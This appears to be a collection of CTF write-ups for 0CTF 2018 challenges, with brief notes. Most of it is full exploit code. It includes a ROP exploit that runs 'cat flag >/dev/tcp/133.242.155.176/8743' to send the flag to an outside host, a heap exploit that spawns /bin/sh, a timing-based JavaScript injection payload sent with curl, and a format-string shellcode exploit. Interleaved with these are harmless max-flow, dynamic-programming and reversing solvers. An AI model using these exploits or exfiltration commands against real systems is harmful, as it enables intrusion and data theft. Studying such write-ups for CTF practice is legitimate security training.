I tried to login as admin with password admin
and succeeded.
Therefore, I can access the profile page of admin user and get flag.
#!/usr/bin/env python
from pwn import *
import subprocess
context(os='linux', arch='i386')
# context.log_level = 'debug' # output verbose log
RHOST = "202.120.7.202"
RPORT = 6666
LHOST = "127.0.0.1"
LPORT = 6666
# libc = ELF('')
elf = ELF('./babystack')
def solve_pow(chal):
from hashlib import sha256
from random import randint
import sys
progress = 0
while True:
progress += 1
sol = ('%08x' % randint(0,2**32 - 1)).decode('hex')
if sha256(chal + sol).digest().startswith('\0\0\0'):
return sol
if progress % 10000 == 0:
sys.stderr.write('%.2f' % (float(progress) / 2 ** 24) + "\r")
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
conn = None
if len(sys.argv) > 1:
if sys.argv[1] == 'r':
conn = remote(RHOST, RPORT)
buf = conn.recv(16)
conn.recv(1)
c = int(sys.argv[2])
output = subprocess.check_output(['ruby', '/root/ctf/0ctf2018/babystack2018/pow.rb', buf])[16:]
conn.send(output)
elif sys.argv[1] == 'l':
conn = remote(LHOST, LPORT)
buf = conn.recv(16)
print buf
conn.recv(1)
output = subprocess.check_output(['ruby', '/root/ctf/0ctf2018/babystack2018/pow.rb', buf])[16:]
conn.send(output)
c = 0x6c
elif sys.argv[1] == 'd':
execute = """
b *0x80482e9
c
c
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug(['./babystack'], execute)
conn.recvuntil('\n')
c = 0x6c
else:
c = 0x6c
conn = process(['./babystack'])
# conn = process(['./babystack'], env={'LD_PRELOAD': ''})
# preparing for exploitation
log.info('Pwning')
pop_ret = 0x80484eb
leave_ret = 0x8048455
pop3_ret = 0x80484e9
pop4_ret = 0x80484e8
pop_ebx = 0x80482e9
read_plt = elf.plt['read']
alarm_plt = elf.plt['alarm']
bss = 0x804a000 + 0x800
cmdline = 'cat flag >/dev/tcp/133.242.155.176/8743'
payload = 'a' * 0x28
payload += p32(bss)
payload += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss+4) + p32(14 * 4 + len('/bin/bash\x00-c\x00'+cmdline) )
payload += p32(read_plt) + p32(pop3_ret) + p32(0) + p32(0x804a000) + p32(0xc+1)
payload += p32(alarm_plt) + p32(pop_ret) + p32(0xb) + p32(alarm_plt) + p32(pop_ret) + p32(0)
payload += p32(pop_ebx) + p32(bss + 0x3c)
payload += p32(read_plt)
payload += '/bin/bash\x00'
payload += '-c\x00'
payload += cmdline
conn.send(payload)
payload = p32(0x804a840-4) + p32(0x804a846) + p32(0x804a849) + chr(c)
conn.send(payload)
conn.recv(0x100)
#!/usr/bin/env python
from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py
bin_file = './babyheap'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'
#==========
env = Environment('debug', 'local', 'remote')
env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \
local = {'argv':[bin_file]}, \
remote = {'host':'202.120.7.204', 'port':127})
#remote = {'host':'localhost', 'port':127})
env.set_item('libc', debug = None, \
local = None, \
remote = 'libc-2.24.so')
env.select()
#==========
binf = ELF(bin_file)
addr_plt_puts = binf.plt['puts']
addr_got_main = binf.got['__libc_start_main']
addr_bss = binf.sep_section['.bss']
libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_malloc_hook = libc.symbols['__malloc_hook']
offset_libc_mainarena = offset_libc_malloc_hook + 0x10
#==========
def attack(conn):
bh = BabyHeap(conn)
bh.allocate(0x18) # 0
bh.allocate(0x18) # 1
bh.allocate(0x28) # 2
bh.allocate(0x58) # 3
bh.allocate(0x20) # 4
bh.allocate(0x10) # 5
bh.allocate(0x18) # 6
bh.update(0, 'a'*0x18+'\x51')
bh.update(2, 'b'*0x28+'\xa1')
bh.update(5, 'c'*0x8+'\x11')
bh.delete(1)
bh.allocate(0x48) # 1
chunk = '0'*0x18
chunk += p64(0x91)
bh.update(1, chunk)
bh.delete(3)
bh.delete(2)
leak = bh.view(1)
addr_heap_base = u64(leak[0x20:0x28]) - 0x70
addr_libc_mainarena = u64(leak[0x28:0x30]) - 0x58
libc.address = addr_libc_mainarena - offset_libc_mainarena
addr_libc_io_list_all = libc.symbols['_IO_list_all']
addr_libc_dl_open_hook = libc.symbols['_dl_open_hook']
addr_libc_system = libc.sep_function['system']
info('addr_heap_base = 0x{:08x}'.format(addr_heap_base))
info('addr_libc_base = 0x{:08x}'.format(libc.address))
bh.allocate(0x28) # 2
bh.allocate(0x18) # 3
bh.allocate(0x18) # 7
bh.allocate(0x18) # 8
bh.update(2, 'A'*0x28+'\x61')
bh.delete(3)
bh.allocate(0x58) # 3
chunk = 'B'*0x18
chunk += p64(0x41)
chunk += 'C'*0x18
chunk += p64(0x51)
bh.update(3, chunk)
bh.delete(7)
bh.delete(8)
chunk = p64(addr_libc_mainarena + 0xe8)
chunk += p64(addr_libc_mainarena + 0xe8)
chunk += 'B'*0x8
chunk += p64(0x41)
chunk += p64(0x51)
bh.update(3, chunk)
bh.allocate(0x38) # 7
chunk = 'D'*0x18
chunk += p64(0x51)
chunk += p64(addr_libc_mainarena + 0x10)
bh.update(7, chunk)
bh.allocate(0x48) # 8
chunk = 'E'*0x10
chunk += p64(0x60)
chunk += p64(0x31)
bh.update(8, chunk)
bh.allocate(0x48) # 9
fake_mainarena = '\x00'*0x38
fake_mainarena += p64(addr_libc_io_list_all - 0x28)
bh.update(9, fake_mainarena)
bh.allocate(0x58) # 10
bh.allocate(0x20) # 11
bh.update(11, '\x00'*0x18+p64(addr_heap_base + 0x60))
bh.update(6, '\x00'*0x8+p64(addr_heap_base + 0x140 - 0x18)+p64(addr_libc_system))
chunk = '0'*0x18
chunk += p64(0x91)
bh.update(1, chunk)
bh.delete(2)
chunk = '0'*0x18
chunk += p64(0x61)
chunk += p64(0xdeadbeef)
chunk += p64(addr_libc_dl_open_hook - 0x10)
bh.update(1, chunk)
bh.allocate(0x58) # 2
bh.update(2, '\x00'*0x10+'/bin/sh'.ljust(0x20, '\x00')+p64(0)+p64(1))
conn.recvuntil('Command: ')
conn.sendline('5')
class BabyHeap:
def __init__(self, conn):
self.recvuntil = conn.recvuntil
self.recv = conn.recv
self.sendline = conn.sendline
self.send = conn.send
self.sendlineafter = conn.sendlineafter
self.sendafter = conn.sendafter
def allocate(self, size):
self.recvuntil('Command: ')
self.sendline('1')
self.recvuntil('Size: ')
self.sendline(str(size))
def update(self, idx, content):
self.recvuntil('Command: ')
self.sendline('2')
self.recvuntil('Index: ')
self.sendline(str(idx))
self.recvuntil('Size: ')
self.sendline(str(len(content)))
self.recvuntil('Content: ')
self.send(content)
def delete(self, idx):
self.recvuntil('Command: ')
self.sendline('3')
self.recvuntil('Index: ')
self.sendline(str(idx))
def view(self, idx):
self.recvuntil('Command: ')
self.sendline('4')
self.recvuntil('Index: ')
self.sendline(str(idx))
self.recvuntil(': ')
return self.recvuntil('\n1. Allocate', drop=True)
#==========
if __name__=='__main__':
conn = communicate(env.mode, **env.target)
attack(conn)
conn.interactive()
#==========
Our decompile result:
def child_thread(child_id)
row = matrix[child_id]
send(0, -1) # send 4 to master
data, from = recv
while true
data, from = recv
if !(from >= -1 && from <= 3999)
fail
end
if data == 2
fail
elsif data == 1
send(2, from) # ping / pong
elsif data == 3
cmd = 5
if child_id == 1
cmd = 4
else
4000.times do |i|
next if i == child_id
if row[i] > 0
send(3, i)
while true
data2, from2 = recv
if data2 == 3
send(5, from2)
else
break
end
end
if from2 != i
fail
end
if data2 == 4
row[i] -= 1
cmd = 4
break
elsif data2 != 5
fail
end
end
end
end
send(cmd, from)
row[from] += 1
elsif data ==4
# Do nothing
end
end
end
def main
# main process
4000.times do
create_thread(i)
end
# check process
4000.times do
send(2, i)
fail unless recv == [3, i]
end
# Contact to 0
ret = 0
while true
send(3, 0)
data, from = recv
fail unless from == 0
fail unless [4,5].include?(data)
break data == 5
ret += 1
end
puts "flag{%lx}" % ret
end
It seems Ford–Fulkerson algorithm(Not exactly, because it flows only 1).
So I rewrite it with dinic algorithm.
#include <iostream>
#include <cstdlib>
#include <cstdio>
#include <vector>
#include <queue>
using namespace std;
typedef uint64_t Weight;
const Weight INF = 1UL << 60;
struct Edge {
int src, dst;
Weight weight;
int rev;
Edge(int f, int t, Weight c, int rev = 0) : src(f), dst(t), weight(c), rev(rev) {}
};
struct Node : public vector<Edge> {
};
bool operator<(const Edge &a, const Edge &b) {
return a.weight < b.weight;
}
bool operator>(const Edge &a, const Edge &b) { return b < a; }
typedef vector<Node> Graph;
typedef vector<vector<Weight> > Matrix;
void add_edge(Graph &G, int s, int t, Weight cap) {
G[s].push_back(Edge(s, t, cap, G[t].size()));
G[t].push_back(Edge(t, s, 0, G[s].size() - 1));
}
void bfs(const Graph &G, vector<int> &level, int s) {
level[s] = 0;
queue<int> que;
que.push(s);
while (!que.empty()) {
int v = que.front();
que.pop();
for (int i = 0; i < G[v].size(); i++) {
const Edge &e = G[v][i];
if (e.weight > 0 && level[e.dst] < 0) {
level[e.dst] = level[v] + 1;
que.push(e.dst);
}
}
}
}
Weight dfs(Graph &G, vector<int> &level, vector<int> &iter, int v, int t, Weight flow) {
if (v == t)return flow;
for (int &i = iter[v]; i < (int) G[v].size(); i++) {
Edge &e = G[v][i];
if (e.weight > 0 && level[v] < level[e.dst]) {
Weight d = dfs(G, level, iter, e.dst, t, min(flow, e.weight));
if (d > 0) {
e.weight -= d;
G[e.dst][e.rev].weight += d;
return d;
}
}
}
return 0;
}
Weight max_flow(Graph &G, int s, int t) {
Weight flow = 0;
while (true) {
vector<int> level(G.size(), -1);
vector<int> iter(G.size(), 0);
bfs(G, level, s);
if (level[t] < 0)break; // もう流せない
Weight f = 0;
while ((f = dfs(G, level, iter, s, t, INF)) > 0) {
flow += f;
}
}
return flow;
}
uint64_t matrix[4000][4000];
int main() {
FILE *fp = fopen("matrix", "rb");
if (fp == nullptr) {
perror("fopen");
return -1;
}
if (fread(matrix, 1, 4000 * 4000 * 8, fp) != 4000 * 4000 * 8) {
cerr << "Failed to read matrix";
return -1;
}
fclose(fp);
Graph G = Graph(4000);
for(int i = 0; i < 4000; i++) {
for(int j = 0; j < 4000; j++) {
if (matrix[i][j]) {
add_edge(G, i, j, matrix[i][j]);
}
}
}
cout << max_flow(G, 0, 1) << endl;
}
The file matrix is form udp
0x6020E0.
The validation doesn’t work to array, such as password[]=%23()
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
Binary search like blind SQL injection.
command = <<EOS
curl http://202.120.7.194:8082/check -d 'username[]=%23zzz%23&zzz[]=]){} ; Object.keys(this).forEach((a)=>{if(a.startsWith(`password`%2bString.fromCharCode(95))%26%26this[a][CODE_POS]<String.fromCharCode(CODE_POINT)){sleep(2000)}}); return 1;if(1){//'
EOS
command = command.strip
a = Time.now
ret = ''
(12...32).each do |i|
puts "index %d" % i
chars = '0123456789abcdef'
low = 0
high = chars.size
while low + 1 < high
mid = (low + high) / 2
a = Time.now
system command.gsub('CODE_POINT', chars[mid].ord.to_s).gsub('CODE_POS', (0 + i).to_s)
if Time.now - a < 2
low = mid
else
high = mid
end
p [low, high]
end
p chars[low]
ret += chars[low]
p ret
end
Typical dynammic programming problem.
#include <iostream>
#include <vector>
#include <cassert>
#include <algorithm>
#include <map>
using namespace std;
int N, M;
vector<string> MAP;
const int dx[4] = {0, 1, 0, -1};
const int dy[4] = {1, 0, -1, 0};
vector<vector<vector<map<vector<int>,int64_t>>>> dp;
void normalize(std::vector<int> &connection, int &left) {
vector<int> mp(connection.size() + 2, -1);
mp[0] = 0;
int k = 1;
for (int i = 0; i < connection.size(); i++) {
if (connection[i] != 0) {
assert(connection[i] < mp.size());
if (mp[connection[i]] == -1) {
mp[connection[i]] = k++;
}
}
}
if (left != 0) {
if (mp[left] == -1) {
mp[left] = k;
}
}
for (int i = 0; i < connection.size(); i++) {
connection[i] = mp[connection[i]];
}
left = mp[left];
}
int64_t rec(int y, int x, const std::vector<int> connection, int left) {
assert(connection.size() == N);
if (y == N) {
// 終了条件
for (int i = 0; i < N; i++) {
if (connection[i] != 0) {
// 上に接続がある: Fail
return 0;
}
}
// 上に接続がなければひとまず成功とする
return 1;
}
if (dp[y][x][left].count(connection)) {
return dp[y][x][left][connection];
}
// cerr << "REC: (" << x << ", " << y << ") : " << left << " {";
// for(int i = 0; i < connection.size(); i++) {
// cerr << connection[i] << ", ";
// }
// cerr << "}" << endl;
// cerr << "\tcc: [";
// for(int i = 0; i < connection_count.size(); i++) {
// cerr << connection_count[i] << ", ";
// }
// cerr << endl;
int ny = y, nx = x + 1;
if (nx == N) {
ny++;
nx = 0;
}
// cerr << "s:" << y << "," << x << endl;
int64_t ret = 0;
const char cur = MAP[y][x];
if (cur == '#') {
if (left != 0) {
// 左側からの接続があるので駄目
ret = 0;
} else if (connection[0] != 0) {
// 上からの接続があるので駄目
ret = 0;
} else {
// 次のコネクションを作る
// 線は引かずに次に進むしかない
vector<int> next_connection = connection;
next_connection.erase(next_connection.begin());
next_connection.push_back(0);
ret = rec(ny, nx, next_connection, 0);
}
} else if (cur == 'X') {
// 次のコネクションを作る
if (left != 0 && connection[0] != 0) {
// 上と左から来ている場合は二本引かれるためアウト
ret = 0;
} else if (left != 0) {
assert(connection[0] == 0);
// 左からのみ来ている場合
// 接続を追加する
vector<int> next_connection = connection;
next_connection.erase(next_connection.begin());
next_connection.push_back(0);
int next_left = 0;
normalize(next_connection, next_left);
ret = rec(ny, nx, next_connection, next_left);
} else if (connection[0] != 0) {
assert(left == 0);
// 上からのみ来ている場合
vector<int> next_connection = connection;
next_connection.erase(next_connection.begin());
next_connection.push_back(0);
int next_left = 0;
normalize(next_connection, next_left);
ret = rec(ny, nx, next_connection, next_left);
} else {
// 右か下に接続する
// 右に接続する場合
int next_number = max(left, *max_element(connection.begin(), connection.end())) + 1;
ret = 0;
if (x < N - 1) {
vector<int> next_connection = connection;
int next_left = next_number;
next_connection.erase(next_connection.begin());
next_connection.push_back(0);
// cerr << x << "," << y << "," << left << ":" << (next_connection_count.size()) << "," << (next_number + 1) << endl;
normalize(next_connection, next_left);
ret += rec(ny, nx, next_connection, next_left);
}
if (y < N - 1) {
// 下に接続する
vector<int> next_connection = connection;
int next_left = 0;
next_connection.erase(next_connection.begin());
next_connection.push_back(next_number);
normalize(next_connection, next_left);
ret += rec(ny, nx, next_connection, next_left);
}
}
} else if (cur == '.') {
// 次のコネクションを作る
// 上→下
if (connection[0] != 0 && left == 0 && y < N - 1) {
// 上からの接続があり右側から接続がない
vector<int> next_connection = connection;
int next_left = 0;
next_connection.erase(next_connection.begin());
next_connection.push_back(connection[0]);
ret += rec(ny, nx, next_connection, next_left);
}
// 上から右
if (connection[0] != 0 && left == 0 && x < N - 1) {
// 上からの接続があり右側から接続がない
vector<int> next_connection = connection;
int next_left = connection[0];
next_connection.erase(next_connection.begin());
next_connection.push_back(0);
normalize(next_connection, next_left);
ret += rec(ny, nx, next_connection, next_left);
}
// 左→下
if (connection[0] == 0 && left != 0 && y < N - 1) {
// 上からの接続があり右側から接続がない
vector<int> next_connection = connection;
int next_left = 0;
next_connection.erase(next_connection.begin());
next_connection.push_back(left);
normalize(next_connection, next_left);
ret += rec(ny, nx, next_connection, next_left);
}
// 左から右
if (connection[0] == 0 && left != 0 && x < N - 1) {
vector<int> next_connection = connection;
int next_left = left;
next_connection.erase(next_connection.begin());
next_connection.push_back(0);
normalize(next_connection, next_left);
ret += rec(ny, nx, next_connection, next_left);
}
// 左上
if (connection[0] != 0 && left != 0) {
if (connection[0] == left) {
// 既に接続ずみなので置けない
} else {
// 左と上を接続
vector<int> next_connection = connection;
int next_left = 0;
next_connection.erase(next_connection.begin());
next_connection.push_back(0);
// Merge
for (int i = 0; i < N; i++) {
if (next_connection[i] == left) {
next_connection[i] = connection[0];
}
}
// Normalize
normalize(next_connection, next_left);
ret += rec(ny, nx, next_connection, next_left);
}
}
// 右上
if (connection[0] == 0 && left == 0 && x < N - 1 && y < N - 1) {
int next_number = max(left, *max_element(connection.begin(), connection.end())) + 1;
ret = 0;
vector<int> next_connection = connection;
int next_left = next_number;
next_connection.erase(next_connection.begin());
next_connection.push_back(next_number);
normalize(next_connection, next_left);
ret += rec(ny, nx, next_connection, next_left);
}
// 何もしない
if (connection[0] == 0 && left == 0) {
vector<int> next_connection = connection;
int next_left = 0;
next_connection.erase(next_connection.begin());
next_connection.push_back(0);
normalize(next_connection, next_left);
ret += rec(ny, nx, next_connection, next_left);
}
} else {
std::cerr << "Invalid Error" << endl;
throw std::runtime_error("Invalid Map data");
}
return dp[y][x][left][connection] = ret;
}
//
// Upとの接続状況
//
// Yes
// +-----+
// |+---+|
// ||+-+||
// |||#|X|
// XXX#+-+
//
// Split [1,1,1,1,1,1,1]
//
int main() {
cin >> N >> M;
MAP.resize(N);
for (int i = 0; i < N; i++) {
cin >> MAP[i];
}
dp.resize(N);
for( int i = 0; i < dp.size(); i++) {
dp[i].resize(N);
for(int j = 0 ; j < dp[i].size(); j++) {
dp[i][j].resize(N + 3);
}
}
vector<int> connection(N);
int64_t ret = rec(0, 0, connection, 0);
cout << ret << endl;
}
Network communication program.
require 'ctf'
require 'benchmark'
TCPSocket.open(*ARGV) do |s|
s.echo = true
8.times do |i|
s.expect('-----------------------------------------')
s.gets
task = s.gets
if /n = (\d+), m = (\d+)/ =~ task
n = $1.to_i
m = $2.to_i
s.gets
MAP = Array.new(n){s.gets.gsub('|', '')}
puts MAP
else
p task
fail task
end
s.expect('The number of solutions =')
ret = nil
IO.popen('./cmake-build-debug/solve', 'w+') do |f|
f.puts "#{n} #{m}"
f.puts MAP
puts "#{n} #{m}"
puts MAP
f.flush
puts 'Solve'
Benchmark.bm 10 do |r|
r.report 'task %d' % (i + 1) do
ret = f.read
end
end
end
puts ret
s.puts ret.strip
end
s.interactive!
end
DATA = [0x29D1C318, 0x0A2127F7C, 0x63535511, 0x0BC20EB9F, 0x62861759, 0x72E2EB39, 0x245A3503, 0x0B6A0B33C, 0x0D8588DF7, 0x32C97731, 0x9C2286A1, 0x0B06F0DF1, 0x3EE8DCD8, 0x0E8AAFD91, 0x2FB7CA47, 0x2E56ED51, 0x0F37AB222, 0x0EDF06A3E, 0x4786ED37, 0x66A60B4D, 0x0CE004DF1, 0x0A706131C, 0x469F7415, 0x92620669, 0x0C28915C3, 0x0F4A0FCB0, 0x909CACEB, 0x25726D7B, 0x7023830A, 0x75364D20, 0x0EBF4D0ED, 0x57E7B138, 0x3FBBDBC4, 0x1AD6A53, 0x2D57B709, 0x0DDAAD68A, 0x847CA156, 0x0A7A8EE84, 0x645D7D31, 0x62B8030F, 0x3C72E503, 0x0B3C1B143, 0x51912BC7, 0x0D155CA1B, 0x79A606FB, 0x6541EB4E, 0x0FC6BD15E, 0x0ED72E7CF, 0x0F8DE314F, 0x8097C65A, 0x3D573A48, 0x55389B74, 0x17504A, 0x0F96ABCF3, 0x4468045C, 0x70FEEECE, 0x7E000AF2, 0x8BF35B81, 0x4B635910, 0x0A9CB945B, 0x47B77790, 0x0EE90D37E, 0x0BB6C15B5, 0x44A5FC82, 0x5397C185, 0x4A79753B, 0x3781C8A0, 0x0CBD7D92B, 0x0ECFF291B, 0x0C8C0208F, 0x0DC7F4825, 0x7F1D5D37, 0x55D85393, 0x90B4F86C, 0x0B97CA571, 0x0F72BDA18, 0x2A929732, 0x0A7F5F2AB, 0x0DC0BB6C6, 0x4841A73F, 0x2DC84A8A, 0x0DEFD50A5, 0x0C5E0FC89, 0x0BFF26C11, 0x4C200AE8, 0x0E0EC8414, 0x6304462C, 0x7735F7C2, 0x0FE9A59CE, 0x146FF117, 0x5C4E8032, 0x0F554D32, 0x0A8CF5DC, 0x6460AD4C, 0x53EB5293, 0x0C95F9E2F, 0x0F3D5A7FB, 0x0EEAF150F, 0x3F4C7C03, 0x0AA0E5C3D, 0x1EF6A22E, 0x9040D341, 0x0D84790F7, 0x3A087715, 0x95BD943E, 0x13E96958, 0x2332540B, 0x65AEC20C, 0x0D6ECB393, 0x1F332E53, 0x155517F2, 0x14831CB7, 0x53BC2D13, 0x0C63A603A, 0x0F80D03FA, 0x6C4AA4A1, 0x2E5C553A, 0x0B4F0A536, 0x81987C04, 0x0A5B6712, 0x38FE2F2C, 0x3DFBCCBC, 0x536F716E, 0x0C37A2560, 0x987B71B, 0x8101E088, 0x64559DD8, 0x0FC0B1F57, 0x7468510A, 0x3A8054BD, 0x0BD153266, 0x77348038, 0x2DF6BFDE, 0x0F54EFCE6, 0x0A65794AA, 0x7CAF657B, 0x632F605E, 0x0E3E21DCE, 0x124F9945, 0x0AA3CA9E9, 0x50913A, 0x57EA2907, 0x0E050101D, 0x0B1E1653E, 0x59582EAF, 0x0DB5FDD8B, 0x0EF8B08BB, 0x19973D7A, 0x7A7A6C1C, 0x7B2F08D7, 0x6236A643, 0x891F2BFE, 0x0FF9456AD, 0x9F278CB0, 0x0D2D9A066, 0x77F7192A, 0x71C95997, 0x0C7E455A3, 0x0C117B13D, 0x331086B7, 0x0CCBA9A0F, 0x0E786485B, 0x800BC70F, 0x73359B2F, 0x0CFD0632, 0x4FDCBCC3, 0x58487C96, 0x799B3F9F, 0x0FE948657, 0x0F083ED1C, 0x105A0B99, 0x0ABA65BF7, 0x1A23ACBB, 0x0D80516BF, 0x9026EF32, 0x95C38248, 0x4132FC4D, 0x1663E8B0, 0x6B3BC663, 0x23AF6996, 0x6A3EA057, 0x52D8FDE4, 0x997344F0, 0x0AA0E6C66, 0x436DBAED, 0x7B91F8BF, 0x0E80E07D, 0x6E56F2E0, 0x0E00EDF1A, 0x0AD54535D, 0x27DA2387, 0x0ADF3F52D, 0x0EDCBF5BB, 0x55CD19C2, 0x0E795156A, 0x3E99A660, 0x30EF3300, 0x0C1FA04BD, 0x0A94F5D3D, 0x0B265DA09, 0x593C3698, 0x14A56619, 0x36BAF68C, 0x3486C520, 0x0CD869ACB, 0x9E85C60A, 0x52AB126E, 0x83A15421, 0x60D2A51D, 0x0A3263723, 0x6F01FB9C, 0x0F0A01A9D, 0x0B8A706E2, 0x2CBFC241, 0x665AFFA7, 0x5CEAFE7D, 0x1B09E16D, 0x0B005DCCE, 0x0EE4070FC, 0x0C5EA7CDC, 0x6500B692, 0x0AADEDD27, 0x0F5A153A6, 0x5D587425, 0x8D570F3A, 0x3B5AB58A, 0x59D5D66B, 0x5B7517CB, 0x0BACE72D1, 0x5F3D4D71, 0x9708837B, 0x47FC85C3, 0x56A55D09, 0x8FC4C937, 0x3265B5B2, 0x0CC0D03BF, 0x0CDB15016, 0x54E49060, 0x0CA7813E8, 0x2B7E7859, 0x0D2154104, 0x6389FDB, 0x291BB90A, 0x0BC5388C7, 0x7E191A1B, 0x2F369C44, 0x0BBE9B02B, 0x13714D6C, 0x0FB73A3E5, 0x0A5EA5A2E, 0x0DFAC48EE, 0x5B61310A, 0x0FBBB34B1, 0x3F50310F, 0x0F78AC7BE, 0x28AF2A56]
class Random
end
class Rand
def initialize(seed)
@state = seed
end
def rand()
@state = (@state * 214013 + 2531011) % 2 ** 31
@state / 2 ** 16
end
end
CHILDREN = []
def common_process(buffer, rand)
v2 = (9 * DATA[1337 * rand.rand % 256]) % 2 ** 32
v3 = rand.rand
target = (buffer[0] * v3 - v2) % 0x20
child = CHILDREN[target]
return child.process(buffer)
end
class Child
attr_accessor :monitor
attr :rand
attr :id
def initialize(seed, id)
@id = id
@rand = Rand.new(seed)
2.times {rand.rand}
@monitor = nil
end
def create_monitor
m = Monitor.new(rand.rand, id)
rand.rand
m
end
def process(buffer)
seed = rand.rand
rand.rand
return child_thread(buffer, seed)
end
def child_thread(buffer, seed)
buffer
r = Rand.new(seed)
buffer[0] = monitor.process(buffer[0])
if buffer[1] == 0
return buffer
end
[buffer[0]] + common_process(buffer[1, 44] + [0], r)[0, 44]
end
end
class Monitor
attr :rand
attr :id
def initialize(seed, id)
@rand = Rand.new(seed)
@id = id
end
def process(ecx)
v6 = 13090 * rand.rand() % 256
return DATA[v6] * ecx * rand.rand() % 0x10000
end
def attach
while true
tid = rand.rand % 32
next if tid == @id
if CHILDREN[tid].monitor == nil
CHILDREN[tid].monitor = self
if CHILDREN.any? {|t| t.monitor == nil}
m = CHILDREN[tid].create_monitor
m.attach
end
return
end
end
end
end
input = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFH'
# EXPECTED_DATA = [0x4A46,
# 0x4B10,
# 0x2AFB,
# 0xD924,
# 0x58B8]
EXPECTED_DATA = [19014, 19216, 11003, 55588, 22712, 46000, 63351, 24680, 20268, 30320, 4343, 9784, 36693, 7366, 55776, 7296, 5552, 49344, 11992, 42048, 28895, 27736, 13116, 7083, 21056, 20370, 61128, 4228, 7232, 63262, 31259, 48440, 38224, 38004, 13056, 63264, 56004, 8180, 26912, 46700, 33438, 21796, 18312, 0, 0]
32768.times do |seed|
rand = Rand.new(seed)
32.times do |i|
CHILDREN[i] = Child.new(rand.rand, i)
end
parent_monitor = Monitor.new(rand.rand(), -1)
parent_monitor.attach
ret = common_process( 'flag{'.unpack("C*") + [0] * 40, rand)
if ret[0,5] == EXPECTED_DATA[0, 5]
puts 'FOUND!!!'
puts seed
end
end
SEED = 3908
input = [0] * 45
0.upto(44).each do |i|
f= false
(0..127).each do |c|
input[i] = c
rand = Rand.new(SEED)
32.times do |i|
CHILDREN[i] = Child.new(rand.rand, i)
end
parent_monitor = Monitor.new(rand.rand(), -1)
parent_monitor.attach
ret = common_process(input + [], rand)
if ret[0..i] == EXPECTED_DATA[0..i]
puts 'found'
f = true
p input
break
end
end
fail unless f
end
require 'ctf'
require 'metasm'
shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encoded
start:
xor eax, eax
push eax
push #{'39ML'.unpack1("I")}
mov ecx, esp
mov ebx, 1
mov edx, 4
add al, 4
int 0x80
// get filename
restart:
mov ecx, esp
mov ebx, 0
mov edx, 256
xor eax, eax
add al, 3
int 0x80
mov ebx, esp
xor edx, edx
xor eax, eax
mov ecx, 0
add al, 5
int 0x80
mov esi,eax
hoge:
mov ebx, esi
mov ecx, esp
mov edx, 4
xor eax, eax
add al, 3
int 0x80
cmp eax, 0
jle restart
mov edx, eax
xor ebx, ebx
inc ebx
mov ecx, esp
xor eax, eax
add al, 4
int 0x80
jmp hoge
SOURCE
shellcode = shellcode.data
if shellcode.size > 96
p shellcode.size
fail
end
@sendd = ''
def pad_buf(buf)
fail unless buf.size <= 32
return buf + "\0" * (32 - buf.size)
end
# 1byte固定長を書き込む
def write_buf(offset, byte)
pad_buf([0x61616161,offset].pack("I*") + "%#{byte + 256 - 8}c" + "%6$hhn")
end
def offset_to_index(offset)
fail unless offset % 4 == 0
return (offset - 0xdead1000) / 4 + 3
end
def copy_buf(offset, target)
ret = "%1$*#{offset_to_index(offset)}$c%#{offset_to_index(0xdead1008 + 28)}$n"
fail unless ret.size <= 28
ret = ret + ' ' * (28 - ret.size)
ret + [target].pack("I*")
end
def add_buf(op1, op2, target)
ret = "%1$*#{offset_to_index(op1)}$c%1$*#{offset_to_index(op2)}$c%#{offset_to_index(0xdead1008 + 28)}$hhn"
fail unless ret.size <= 28
ret = ret + ' ' * (28 - ret.size)
ret += [target].pack("I*")
write_buf(op1 + 1, 0x1) + write_buf(op2 + 1, 0x1) + ret
end
def sub_buf(op1, op2, target)
fail if [op1, op2, target].uniq.size != 3
temp = 0xdead1404
[
write_buf(target, 0),
write_buf(target + 1, 0),
write_buf(target + 2, 0),
write_buf(target + 3, 0),
write_buf(temp, 0),
write_buf(temp + 1, 0),
write_buf(temp + 2, 0),
write_buf(temp + 3, 0),
add_buf(temp, op2, temp),
add_buf(target, op1, target) + Array.new(8){add_buf(target, temp, target) + add_buf(temp, temp, temp)} * ''
].join
end
def rpad(pad, length)
pad + ' ' * (length - pad.size)
end
def carry(b, c, target)
# a - b = c
# a - bがCarry Outしているか判定し,CarryOutしていたらTargetから-1を引く
temp = 0xdead1400
ret = "%1$*#{offset_to_index(b)}$c%1$*#{offset_to_index(c)}$c%#{offset_to_index(0xdead1008 + 28)}$hn"
ret += ' ' * (28 - ret.size) + [temp].pack("I*")
[
write_buf(temp, 0x0),
write_buf(temp + 1, 0x0),
write_buf(temp + 2, 0x0),
write_buf(temp + 3, 0x0),
write_buf(temp + 8, 0x0),
write_buf(temp + 9, 0x0),
write_buf(temp + 10, 0x0),
write_buf(temp + 11, 0x0),
copy_buf(target, temp + 8),
write_buf(b + 1, 0x8),
write_buf(b + 2, 0x0),
write_buf(b + 3, 0x0),
write_buf(c + 1, 0x7),
write_buf(c + 2, 0x0),
write_buf(c + 3, 0x0),
ret, # b + c = temp
rpad("%#{offset_to_index(temp)}$x%253c%#{offset_to_index(0xdead1008 + 28)}$hhn" , 28) + [temp].pack("I"),
sub_buf(temp + 8, temp, target)
].join
end
def senddata(s, msg)
fail unless msg.size % 32 == 0
msg.chars.each_slice(32) do |m|
# @sendd += m.join
# p @sendd.size
s.print m.join
s.flush
sleep 0.01
end
end
complete = true
cnt = 0
ts = Array.new(ARGV[2].to_i) do
Thread.start do
while complete
begin
s = TCPSocket.open(ARGV[0], ARGV[1])
# 1byteずつ減らす
s.gets
cnt += 1
p cnt
p s.gets
senddata s, write_buf(0xdead1003, 0)
senddata s, write_buf(0xdead1007, 0)
# 最初の1byte目
senddata s, copy_buf(0xdead1000, 0xdead1102) # dead1104: a
